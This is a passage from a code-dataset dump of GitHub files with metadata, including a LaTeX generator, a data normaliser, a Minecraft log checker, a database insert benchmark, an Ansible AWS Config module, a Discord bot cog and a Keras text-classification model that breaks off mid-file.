\"document_template.tex\"\nsection_template_filename = \"reagent_template.tex\"\nworking_indicator = \"% Working Area\\n\"\n\ndef createSections(outfile):\n sections = getSections()\n for section in sections:\n sectionText = createSection(section)\n outfile.write(sectionText)\n outfile.write(\"\\n\")\n\ndef createSection(sectionDict):\n latex_jinja_env = jinja2.Environment(\n block_start_string = '\\BLOCK{',\n block_end_string = '}',\n variable_start_string = '\\VAR{',\n variable_end_string = '}',\n comment_start_string = '\\#{',\n comment_end_string = '}',\n line_statement_prefix = '%%',\n line_comment_prefix = '%#',\n trim_blocks = True,\n autoescape = False,\n loader = jinja2.FileSystemLoader(os.path.abspath('.'))\n )\n # This excellent notation has been taken from Brad Erickson's blog\n # See this for more details: https://bit.ly/3gTaH3z\n template = latex_jinja_env.get_template('reagent_template.tex')\n\n textFilename = sectionDict[\"textFilename\"]\n if textFilename != \"\":\n with open(\"txt/\"+textFilename, \"r\") as textFile:\n text = textFile.read()\n else:\n text = \"\"\n\n output = template.render(**sectionDict)\n output += \"\\n\"\n output += text\n \n return output\n\ndef getSections():\n data = pd.read_csv(datafilename, encoding=\"utf-8\", header=0, delimiter=\",\")\n data[\"imageFilename\"].fillna(\"\", inplace=True)\n return data.to_dict(\"records\")\n\n# End of Functions\n\noutfile = open(outfilename, \"w\")\n# First we copy the beginning of the document from the template\ntemplatefile = open(templatefilename, \"r\")\nbuffer = templatefile.readlines()\ntemplatefile.close()\n\nfor line in buffer:\n if line != working_indicator:\n outfile.write(line)\n else:\n createSections(outfile)\n\noutfile.close()\nprint(f\"Output File: {outfilename}\")", "repo_name": "adch99/Reagents", "sub_path": "creator.py", "file_name": "creator.py", "file_ext": "py", "file_size_in_byte": 1998, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "jinja2.Environment", "line_number": 20, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "31277928931", "text": "from sklearn import preprocessing\nfrom sklearn.datasets import dump_svmlight_file, load_svmlight_file\nimport numpy as np\nimport os, argparse\nimport csv, warnings\n\nwarnings.filterwarnings(\"ignore\",category=DeprecationWarning)\n\ndef writeCSV(data, normF):\n print('Writing %s'%normF)\n with open(normF, \"wb\") as csv_file:\n writer = csv.writer(csv_file, delimiter=',')\n for line in data:\n writer.writerow(line)\n return\n\ndef dump_svmlight(data, label, fname, zero_based):\n print('Writing %s'%fname)\n dump_svmlight_file(data, label, fname, zero_based) \n\ndef load_svmlight(fname):\n print('Loading %s'%fname)\n return load_svmlight_file(fname)\n\ndef normalizeData(inpF, outF, normF, numProbFeat):\n min_max_scaler = preprocessing.MinMaxScaler()\n if os.path.isfile(inpF):\n # Pruning data\n data, label = load_svmlight(inpF)\n data = np.array(data.todense())\n prune = True\n else:\n # Searching data\n prune = False\n data, label = load_svmlight(inpF + '.1')\n data = np.array(data.todense())\n marker = len(label)\n cdata, clabel = load_svmlight(inpF + '.2')\n cdata = np.array(cdata.todense())\n\n # compile the 2 data sets\n data = np.vstack((data, cdata))\n\n numNodeFeat = data.shape[1] - numProbFeat\n # normalize data (only node features)\n data_minmax = min_max_scaler.fit_transform(data[:, :numNodeFeat])\n # concatenate node features with problem features\n data_minmax = np.hstack((data_minmax, data[:, numNodeFeat:]))\n\n if prune:\n dump_svmlight(data_minmax, label, outF, False)\n else:\n dump_svmlight(data_minmax[:marker], label, outF + '.1', False)\n dump_svmlight(data_minmax[marker:], clabel, outF + '.2', False)\n\n # Write norm params, concatenating with zeros for min and ones for max for problem features\n # Hence, normalization will not change the problem features at all\n min_ = np.concatenate((min_max_scaler.data_min_, np.zeros(numProbFeat)))\n max_ = np.concatenate((min_max_scaler.data_max_, np.ones(numProbFeat)))\n writeCSV(zip(min_, max_), normF)\n\ndef main():\n args = firstPassCommandLine()\n inpF = args.inpF\n outF = args.outF\n normF = args.normF\n numProbFeat = args.numProbFeat\n normalizeData(inpF, outF, normF, numProbFeat)\n\ndef firstPassCommandLine():\n\n # Creating the parser for the input arguments\n parser = argparse.ArgumentParser(description='Pruning network')\n\n # Positional argument - Input XML file\n parser.add_argument('-inpF', '--i', type=str, \\\n default='./sample-data/kill.train.dat',\n help='Input data file/Prefix', dest='inpF')\n parser.add_argument('-outF', '--o', type=str, \\\n default='./sample-data/kill.norm.train.dat',\n help='Output data file/Prefix', dest='outF')\n parser.add_argument('-normF', '--n', type=str, \\\n default='./sample-data/kill.normparam.dat',\n help='Norm params', dest='normF')\n parser.add_argument('-numFeat', '--f', type=int, default=0, \n help='Num Problem Features', dest='numProbFeat')\n\n # Parse input\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n main()\n", "repo_name": "ravi-lanka-4/CoPiEr", "sub_path": "scip-dagger/pyscripts/normdata_0_1.py", "file_name": "normdata_0_1.py", "file_ext": "py", "file_size_in_byte": 3201, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "86", "api": [{"api_name": "warnings.filterwarnings", "line_number": 7, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.datasets.dump_svmlight_file", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.datasets.load_svmlight_file", "line_number": 23, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 59, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 73, "usage_type": "call"}]} +{"seq_id": "44940029937", "text": "import configparser\nimport fnmatch\nimport os.path\nimport time\nfrom tkinter import Tk\nfrom tkinter.filedialog import askopenfilename\n\ndebug_mode = 0\n\n\ndef create_config():\n config = configparser.ConfigParser(allow_no_value=True)\n config.optionxform = str\n config.add_section(\"Settings\")\n config.set(\"Settings\", \"# Print version of minecraft and fabric\")\n config.set(\"Settings\", \"Version\", \"True\")\n config.set(\"Settings\", \"# Print time when game were opened and closed\")\n config.set(\"Settings\", \"Time\", \"True\")\n config.set(\"Settings\", \"# Print all warns before main game loop started\")\n config.set(\"Settings\", \"Launch_warns\", \"False\")\n config.set(\"Settings\", \"# Print all recommendations before main game loop started\")\n config.set(\"Settings\", \"Launch_recommendations\", \"True\")\n config.set(\"Settings\", \"# Print list of all mods without mods with 'via *'\")\n config.set(\"Settings\", \"Mods\", \"True\")\n config.set(\"Settings\", \"# Print mods with 'via *' \")\n config.set(\"Settings\", \"All_Mods\", \"False\")\n config.set(\"Settings\", \"# Fast - Scans only the log before loading minecraft, Full - Scans full log, False - Off \")\n config.set(\"Settings\", \"Cheat_Detector\", \"Fast\")\n config.set(\"Settings\", \"# Disables checks that prevent failures\")\n config.set(\"Settings\", \"Unsafe_mode\", \"False\")\n config.set(\"Settings\", \"# Messages about FLC_config.ini\")\n config.set(\"Settings\", \"Welcoming messages\", \"True\")\n config.set(\"Settings\", \"# Debug information, should be off normally\")\n config.set(\"Settings\", \"Debug\", \"False\")\n with open('FLC_config.ini', \"w\") as config_file:\n config.write(config_file)\n\n\ndef messages():\n if settings.get('welcoming messages') == 'True':\n print('You are using a program to analyze the log of the Fabric version of Minecraft.\\n'\n 'The configuration can be done using the FLC_config.ini file, '\n 'which is located in the same directory as the program.'\n 'To disable this message set Welcoming messages to false')\n\n\ndef read_config():\n global settings\n config = configparser.ConfigParser()\n config.read('FLC_config.ini')\n settings = dict(config.items('Settings'))\n return settings\n\n\ndef config_loader():\n if not os.path.isfile('FLC_config.ini'):\n create_config()\n read_config()\n\n\ndef validation(path):\n if not (fnmatch.fnmatch(path, '*.txt') or fnmatch.fnmatch(path, '*.log')):\n if settings.get('unsafe_mode') == 'False':\n print('Attention! The file does not match the possible extensions, select it again'\n 'To ignore this set \"Unsafe_mode = True\"')\n time.sleep(2)\n file_choise()\n\n\ndef file_choise():\n global file_path\n global time_start\n Tk().withdraw()\n file_path = askopenfilename()\n time_start = time.time()\n validation(file_path)\n\n\ndef open_file():\n global log\n global len_log\n print('Loading...')\n with open(file_path) as log_path:\n log = [x.replace('\\n', '') for x in log_path]\n len_log = len(log)\n\n\nconfig_loader()\nmessages()\nfile_path = ''\nwhile file_path == '':\n file_choise()\nopen_file()\nvalidation(file_path)\nmain_game_loop_line = 0\ntry:\n while 'Sound engine started' not in log[main_game_loop_line]:\n main_game_loop_line += 1\n log_before_game_loop = log[:main_game_loop_line]\nexcept IndexError:\n print('The file does not contain the necessary lines. Switching to slow processing mode')\n log_before_game_loop = log\nexcept:\n print('Unexpected error, please send the console output and file as issue')\n log_before_game_loop = log\n\n\ndef versions(full_log):\n global version_mc_fabric\n for i in range(len(full_log)):\n if fnmatch.fnmatch(full_log[i], '*Loading Minecraft * with Fabric Loader *'):\n version_mc_fabric = full_log[i].split('Loading')[-1][1:].split('with')\n if (settings.get('version') == 'True' and debug_mode == 1) or debug_mode != 1:\n print(f'{\"-\" * 15}Versions{\"-\" * 15}\\n{version_mc_fabric[0]}|{version_mc_fabric[1]}')\n if 'version_mc_fabric' not in globals():\n version_mc_fabric = 'Unidentified'\n\n\ndef time_mc(start_time, close_time):\n start_time = start_time[1:9]\n for i in range(len(start_time)):\n if start_time[i].isalpha() or start_time[i] == ' ':\n start_time = 'Unidentified'\n break\n close_time = close_time[1:9]\n for i in range(len(close_time)):\n if close_time[i].isalpha() or close_time[i] == ' ':\n close_time = 'Unidentified'\n return f'{\"-\" * 15}Time{\"-\" * 15}\\nTime at launch: {start_time}\\nTime at stopping: {close_time}'\n\n\ndef launch_warn_announcer(full_log):\n for i in range(len(full_log)):\n if '/WARN' in full_log[i]:\n print(full_log[i][full_log[i].find('WARN') + 7:])\n\n\ndef launch_recommendations(full_log):\n recommendations_count = 0\n for i in range(len(full_log)):\n if 'You should install any version' in full_log[i]:\n if recommendations_count == 0:\n print(f'{\"-\" * 15}Recommendations{\"-\" * 15}')\n print(full_log[i - 1][1:])\n recommendations_count += 1\n\n\n# Код должен быть доработан\ndef mods(full_log):\n global mods_count\n mods_started = 0\n for i in range(len(full_log)-1):\n if settings.get('mods') == 'True':\n if mods_started == 1:\n if settings.get('all_mods') == 'True':\n print(full_log[i][3:])\n elif ' via ' not in full_log[i] and '\\--' not in full_log[i] and '|--' not in full_log[i]:\n print(full_log[i][3:])\n if '[main/INFO]' in full_log[i+1]:\n mods_started = 0\n if fnmatch.fnmatch(full_log[i], '* Loading * mods:*'):\n print(f'{\"-\" * 15}Mods{\"-\" * 15}')\n mods_started = 1\n mods_count = full_log[i].split('Loading')[-1][0:].split(' ')[1]\n if 'mods_count' not in globals():\n mods_count = 'Unidentified'\n if settings.get('mods') == 'True' or debug_mode == 1:\n print(f'\\nMods: {mods_count}')\n\n\ndef cheat_detector(full_log):\n cheats_detected = []\n cheat_list = open('cheat_list.txt').readlines()\n for i in range(len(full_log)):\n for b in range(len(cheat_list)):\n if cheat_list[b].replace('\\n','') in full_log[i] and cheat_list[b] not in cheats_detected:\n cheats_detected.append(cheat_list[b].replace('\\n',''))\n print(cheats_detected)\n\ndef debug():\n try:\n vmc = version_mc_fabric[0].split(\" \")[1]\n except:\n vmc = version_mc_fabric\n try:\n vfl = version_mc_fabric[1].split(\" \")[3]\n except:\n vfl = version_mc_fabric\n print(\n f'{\"-\" * 15}Debug{\"-\" * 15}\\nVMC: {vmc}, '\n f'VFL: {vfl}, '\n f'M:{mods_count},' f' LL: {len(log)}, LBS: {main_game_loop_line}, 'f'T: {round(time.time() - time_start, 6)}s '\n f'UN_M: {settings.get(\"unsafe_mode\") == \"True\"}')\n\n\nif settings.get('debug') == 'True':\n debug_mode = 1\nif settings.get('version') == 'True' or debug_mode == 1:\n versions(log_before_game_loop)\nif settings.get('time') == 'True':\n print(time_mc(log[0], log[-1]))\nif settings.get('launch_warns') == 'True':\n launch_warn_announcer(log_before_game_loop)\nif settings.get('launch_recommendations') == 'True':\n launch_recommendations(log_before_game_loop)\nif settings.get('mods') == 'True' or debug_mode == 1:\n mods(log_before_game_loop)\nif settings.get('cheat_detector') == 'Full':\n cheat_detector(log)\nelif settings.get('cheat_detector') == 'Fast':\n cheat_detector(log_before_game_loop)\n\nif debug_mode == 1:\n debug()\ninput('Press Enter to close')", "repo_name": "ItzSkyReed/FabricLogChecker", "sub_path": "FabricLogChecker.py", "file_name": "FabricLogChecker.py", "file_ext": "py", "file_size_in_byte": 7727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "configparser.ConfigParser", "line_number": 12, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.path.isfile", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 56, "usage_type": "name"}, {"api_name": "fnmatch.fnmatch", "line_number": 62, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 66, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 73, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 74, "usage_type": "call"}, {"api_name": "time.time", "line_number": 75, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 111, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 161, "usage_type": "call"}, {"api_name": "time.time", "line_number": 192, "usage_type": "call"}]} +{"seq_id": "17719763980", "text": "import asyncio\nimport datetime\n\nfrom db import test_db, test_db_root\nfrom utils import random_user, print_table\n\ncursor = test_db.cursor()\ncursor_root = test_db_root.cursor()\n\ninnodb_flush_log_at_trx_commit_sql = 'SET GLOBAL innodb_flush_log_at_trx_commit={};'\ninsert_sql = '''INSERT INTO test_db.users_table_for_insert\n (first_name, last_name, birth_date, date_joined)\n VALUES (%s,%s,%s,%s)'''\n\n\nasync def insert_user(commit_after_insert: bool = False) -> None:\n cursor.execute(insert_sql, random_user())\n if commit_after_insert:\n test_db.commit()\n\n\nasync def main(num_inserts: int, commit_after_insert: bool = False) -> None:\n # additional concurrency can be adjusted here by repeating requests\n for _ in range(1):\n await asyncio.gather(\n *(insert_user(commit_after_insert=commit_after_insert) for _ in range(num_inserts)))\n # await asyncio.sleep(0.01)\n\n\n# def run\ndurations = dict()\nfor num_concurrent_inserts in [50, 500, 1000]:\n durations[num_concurrent_inserts] = dict()\n for commit in [True, False]: # [False]: # [True, False]:\n durations[num_concurrent_inserts][commit] = dict()\n for flush_log_var in range(3): # 0, 1, 2\n # SET innodb_flush_log_at_trx_commit value\n cursor_root.execute(innodb_flush_log_at_trx_commit_sql.format(flush_log_var))\n test_db_root.commit()\n\n # asynchronously run the insert into the database\n start_time = datetime.datetime.now()\n asyncio.run(main(num_concurrent_inserts, commit))\n test_db.commit()\n\n # save duration\n durations[num_concurrent_inserts][commit][flush_log_var] = datetime.datetime.now() - start_time\n\ncursor_root.close()\n\n\nfor num_concurrent_inserts, commits in durations.items():\n for commit, flush_log_var_data in commits.items():\n rows = []\n for flush_log_var, duration in flush_log_var_data.items():\n rows.append([f'innodb_flush_log_at_trx_commit={flush_log_var}', duration])\n print_table(\n [f'Num inserts: {num_concurrent_inserts}, commit: {commit}', 'Duration'],\n rows)\n", "repo_name": "kholodnyi/databases", "sub_path": "index_and_log_flush/insert_test.py", "file_name": "insert_test.py", "file_ext": "py", "file_size_in_byte": 2178, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "db.test_db.cursor", "line_number": 7, "usage_type": "call"}, {"api_name": "db.test_db", "line_number": 7, "usage_type": "name"}, {"api_name": "db.test_db_root.cursor", "line_number": 8, "usage_type": "call"}, {"api_name": "db.test_db_root", "line_number": 8, "usage_type": "name"}, {"api_name": "utils.random_user", "line_number": 17, "usage_type": "call"}, {"api_name": "db.test_db.commit", "line_number": 19, "usage_type": "call"}, {"api_name": "db.test_db", "line_number": 19, "usage_type": "name"}, {"api_name": "asyncio.gather", "line_number": 25, "usage_type": "call"}, {"api_name": "db.test_db_root.commit", "line_number": 39, "usage_type": "call"}, {"api_name": "db.test_db_root", "line_number": 39, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "attribute"}, {"api_name": "asyncio.run", "line_number": 43, "usage_type": "call"}, {"api_name": "db.test_db.commit", "line_number": 44, "usage_type": "call"}, {"api_name": "db.test_db", "line_number": 44, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "attribute"}, {"api_name": "utils.print_table", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "22083167247", "text": "from __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'}\n\n\nDOCUMENTATION = '''\n---\nmodule: aws_config_aggregation_authorization\nshort_description: Manage cross-account AWS Config authorizations\ndescription:\n - Module manages AWS Config resources.\nrequirements: [ 'botocore', 'boto3' ]\nauthor:\n - \"Aaron Smith (@slapula)\"\noptions:\n state:\n description:\n - Whether the Config rule should be present or absent.\n default: present\n choices: ['present', 'absent']\n type: str\n authorized_account_id:\n description:\n - The 12-digit account ID of the account authorized to aggregate data.\n type: str\n required: true\n authorized_aws_region:\n description:\n - The region authorized to collect aggregated data.\n type: str\n required: true\nextends_documentation_fragment:\n- amazon.aws.aws\n- amazon.aws.ec2\n\n'''\n\nEXAMPLES = '''\n- name: Get current account ID\n aws_caller_info:\n register: whoami\n- aws_config_aggregation_authorization:\n state: present\n authorized_account_id: '{{ whoami.account }}'\n authorzed_aws_region: us-east-1\n'''\n\nRETURN = '''#'''\n\n\ntry:\n import botocore\n from botocore.exceptions import BotoCoreError, ClientError\nexcept ImportError:\n pass # handled by AnsibleAWSModule\n\nfrom ansible_collections.amazon.aws.plugins.module_utils.aws.core import AnsibleAWSModule\nfrom ansible_collections.amazon.aws.plugins.module_utils.ec2 import AWSRetry\n\n\ndef resource_exists(client, module, params):\n try:\n current_authorizations = client.describe_aggregation_authorizations()['AggregationAuthorizations']\n authorization_exists = next(\n (item for item in current_authorizations if item[\"AuthorizedAccountId\"] == params['AuthorizedAccountId']),\n None\n )\n if authorization_exists:\n return True\n except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError):\n return False\n\n\ndef create_resource(client, module, params, result):\n try:\n response = client.put_aggregation_authorization(\n AuthorizedAccountId=params['AuthorizedAccountId'],\n AuthorizedAwsRegion=params['AuthorizedAwsRegion']\n )\n result['changed'] = True\n return result\n except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:\n module.fail_json_aws(e, msg=\"Couldn't create AWS Aggregation authorization\")\n\n\ndef update_resource(client, module, params, result):\n current_authorizations = client.describe_aggregation_authorizations()['AggregationAuthorizations']\n current_params = next(\n (item for item in current_authorizations if item[\"AuthorizedAccountId\"] == params['AuthorizedAccountId']),\n None\n )\n\n del current_params['AggregationAuthorizationArn']\n del current_params['CreationTime']\n\n if params != current_params:\n try:\n response = client.put_aggregation_authorization(\n AuthorizedAccountId=params['AuthorizedAccountId'],\n AuthorizedAwsRegion=params['AuthorizedAwsRegion']\n )\n result['changed'] = True\n return result\n except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:\n module.fail_json_aws(e, msg=\"Couldn't create AWS Aggregation authorization\")\n\n\ndef delete_resource(client, module, params, result):\n try:\n response = client.delete_aggregation_authorization(\n AuthorizedAccountId=params['AuthorizedAccountId'],\n AuthorizedAwsRegion=params['AuthorizedAwsRegion']\n )\n result['changed'] = True\n return result\n except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:\n module.fail_json_aws(e, msg=\"Couldn't delete AWS Aggregation authorization\")\n\n\ndef main():\n module = AnsibleAWSModule(\n argument_spec={\n 'state': dict(type='str', choices=['present', 'absent'], default='present'),\n 'authorized_account_id': dict(type='str', required=True),\n 'authorized_aws_region': dict(type='str', required=True),\n },\n supports_check_mode=False,\n )\n\n result = {'changed': False}\n\n params = {\n 'AuthorizedAccountId': module.params.get('authorized_account_id'),\n 'AuthorizedAwsRegion': module.params.get('authorized_aws_region'),\n }\n\n client = module.client('config', retry_decorator=AWSRetry.jittered_backoff())\n resource_status = resource_exists(client, module, params)\n\n if module.params.get('state') == 'present':\n if not resource_status:\n create_resource(client, module, params, result)\n else:\n update_resource(client, module, params, result)\n\n if module.params.get('state') == 'absent':\n if resource_status:\n delete_resource(client, module, params, result)\n\n module.exit_json(changed=result['changed'])\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "iamgini/ansible-real-life", "sub_path": "Ansible-AWS-Provisioning/collections/ansible_collections/community/aws/plugins/modules/aws_config_aggregation_authorization.py", "file_name": "aws_config_aggregation_authorization.py", "file_ext": "py", "file_size_in_byte": 5105, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 65, "dataset": "github-code", "pt": "86", "api": [{"api_name": "botocore.exceptions", "line_number": 74, "usage_type": "attribute"}, {"api_name": "botocore.exceptions", "line_number": 86, "usage_type": "attribute"}, {"api_name": "botocore.exceptions", "line_number": 108, "usage_type": "attribute"}, {"api_name": "botocore.exceptions", "line_number": 120, "usage_type": "attribute"}, {"api_name": "ansible_collections.amazon.aws.plugins.module_utils.aws.core.AnsibleAWSModule", "line_number": 125, "usage_type": "call"}, {"api_name": "ansible_collections.amazon.aws.plugins.module_utils.ec2.AWSRetry.jittered_backoff", "line_number": 141, "usage_type": "call"}, {"api_name": "ansible_collections.amazon.aws.plugins.module_utils.ec2.AWSRetry", "line_number": 141, "usage_type": "name"}]} +{"seq_id": "29018541333", "text": "import aiohttp\nimport discord\nfrom bs4 import BeautifulSoup as bs\nfrom discord.ext import commands\n\nfrom util.decorators import delete_original\nfrom util.messages import MessagesUtil\n\n\nclass PressButton(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n self.messages_util = MessagesUtil(bot)\n self.new_game = []\n\n @commands.command(name=\"pressbutton\", aliases=[\"wyptb\", \"pushbutton\"])\n @delete_original()\n async def press_button(self, ctx):\n \"\"\"\n Will you press the button?\n \"\"\"\n\n site_url = \"http://willyoupressthebutton.com/\"\n\n async with aiohttp.ClientSession() as session:\n async with session.get(site_url) as r:\n content = await r.content.read()\n\n soup = bs(content, 'html.parser')\n left_div = soup.find_all(id='cond')[0]\n right_div = soup.find_all(id='res')[0]\n\n left_text = left_div.text\n right_text = right_div.text\n\n embed = discord.Embed(title=\"Will you press the button?\", color=0x054c8a)\n embed.description = f\"{left_text}\\n*but*\\n{right_text}\"\n embed.set_footer(text=\"Fetched from willyoupressthebutton.com\")\n msg = await ctx.send(embed=embed)\n\n await msg.add_reaction(\"\\N{WHITE HEAVY CHECK MARK}\")\n await msg.add_reaction(\"\\N{NEGATIVE SQUARED CROSS MARK}\")\n\n self.new_game.append(msg.id)\n await msg.add_reaction(\"\\N{CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS}\")\n\n @commands.Cog.listener(\"on_raw_reaction_add\")\n async def on_raw_reaction_add(self, payload):\n user = self.bot.get_user(payload.user_id)\n\n if user == self.bot.user:\n return\n\n guild = self.bot.get_guild(payload.guild_id)\n\n if not guild:\n return\n\n channel = guild.get_channel(payload.channel_id)\n # rmsg = await channel.fetch_message(payload.message_id)\n rmsg = await self.messages_util.get_message(channel, payload.message_id)\n\n if rmsg.id in self.new_game:\n reaction_emoji = str(payload.emoji)\n \n if reaction_emoji == '\\N{CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS}':\n ctx = await self.bot.get_context(rmsg)\n cmd = self.bot.get_command(\"pressbutton\")\n self.new_game.remove(rmsg.id)\n await rmsg.clear_reaction(\"\\N{CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS}\")\n await ctx.invoke(cmd)\n\n\ndef setup(bot):\n bot.add_cog(PressButton(bot))\n", "repo_name": "MiningMark48/Tidal-Bot", "sub_path": "cogs/inactive/pressbutton.py", "file_name": "pressbutton.py", "file_ext": "py", "file_size_in_byte": 2634, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 10, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 10, "usage_type": "name"}, {"api_name": "util.messages.MessagesUtil", "line_number": 14, "usage_type": "call"}, {"api_name": "aiohttp.ClientSession", "line_number": 26, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 30, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 37, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 17, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 17, "usage_type": "name"}, {"api_name": "util.decorators.delete_original", "line_number": 18, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 48, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 48, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 48, "usage_type": "name"}]} +{"seq_id": "30678271327", "text": "from keras.models import Sequential, load_model, Model\nfrom keras.layers import Embedding, LSTM, Dropout, Dense, Bidirectional, GRU, Conv1D, MaxPooling1D, Flatten, Input, \\\n Concatenate\nfrom keras.callbacks import ModelCheckpoint, TensorBoard\nfrom keras.optimizers import RMSprop, Adam\n\nfrom config import Config\nfrom keras.utils import plot_model\nfrom data_helper import data_generator, my_smote\nimport os\n\n\n\nclass BiLSTM(object):\n def __init__(self):\n self.sequenceMaxLength = Config.sequenceMaxLength\n self.numChars = Config.numChars\n self.embeddingDim = Config.modelConfig.embeddingDim\n self.lstmOutputDim = Config.modelConfig.lstmOutputDim\n self.checkpointPath = Config.checkpointPath\n self.lstmCheckpointPath = Config.lstmCheckpointPath\n self.charcnnCheckpointPath = Config.charcnnCheckpointPath\n\n self.logDir = Config.logDir\n self.lr = Config.trainingConfig.learningRate\n # self.build_cnn_model()\n # self.build_bi_lstm_model()\n # self.bilstm_merge_loc_model()\n # self.charcnn_merge_loc_model()\n\n def build_cnn_model(self, filters=256):\n # Inputs\n char_seq_input = Input(shape=(self.sequenceMaxLength,), dtype='int32', name='char_input')\n\n # Embedding layers\n embedding_layer = Embedding(self.numChars,\n self.embeddingDim,\n input_length=self.sequenceMaxLength)\n embedded_sequences = embedding_layer(char_seq_input)\n\n # conv layers\n convs = []\n filter_sizes = [3, 4, 5]\n for fsz in filter_sizes:\n # 该卷积层的输入为emb\n conv1 = Conv1D(filters, kernel_size=fsz, activation='relu')(embedded_sequences)\n # 将conv1作为下一层Pooling的输入\n pool1 = MaxPooling1D(self.sequenceMaxLength - fsz + 1)(conv1)\n pool1 = Flatten()(pool1)\n convs.append(pool1)\n conv_merge = Concatenate(axis=1)(convs)\n #print(conv_merge.shape)\n dropout = Dropout(0.5)(conv_merge)\n output = Dense(64, activation='relu')(dropout)\n\n class_pred = Dense(1, activation='sigmoid', name='class_pred')(output)\n\n self.charcnn_model = Model(inputs=char_seq_input, outputs=class_pred, name='charcnn')\n plot_model(self.charcnn_model, to_file='charcnn_model.png')\n\n def charcnn_merge_loc_model(self, checkpoint_path=None):\n self.build_cnn_model()\n # char_input = self.charcnn_model.get_layer('char_input')\n class_pred = self.charcnn_model.get_layer('class_pred')\n\n if checkpoint_path and os.path.exists(checkpoint_path):\n self.charcnn_model.load_weights(checkpoint_path)\n print(\"Load model weights...\")\n\n loc_input = Input(shape=[3, ], dtype='float32', name='loc_input')\n\n merge = Concatenate(axis=-1)([loc_input, class_pred.output])\n merge_dense = Dense(128, activation='relu')(merge)\n res_pred = Dense(1, activation='sigmoid', name='res_pred')(merge_dense)\n self.merge_model = Model(inputs=[self.charcnn_model.input, loc_input], outputs=[class_pred.output, res_pred])\n plot_model(self.merge_model, to_file='merge_model.png')\n\n def build_bi_lstm_model(self):\n char_seq_input = Input(shape=(self.sequenceMaxLength,), dtype='int32', name='char_input')\n\n embedding_layer = Embedding(self.numChars,\n self.embeddingDim,\n input_length=self.sequenceMaxLength)\n embedded_sequences = embedding_layer(char_seq_input)\n bilstm = Bidirectional(LSTM(self.lstmOutputDim),\n input_shape=(self.sequenceMaxLength, self.embeddingDim))\n bilstm_encode = bilstm(embedded_sequences)\n bilstm_encode_drop = Dropout(0.5)(bilstm_encode)\n class_pred = Dense(1, activation='sigmoid', name='class_pred')(bilstm_encode_drop)\n\n self.bilstm_model = Model(inputs=char_seq_input, outputs=class_pred, name='bilstm')\n\n\n def bilstm_merge_loc_model(self):\n self.build_bi_lstm_model()\n # char_input = 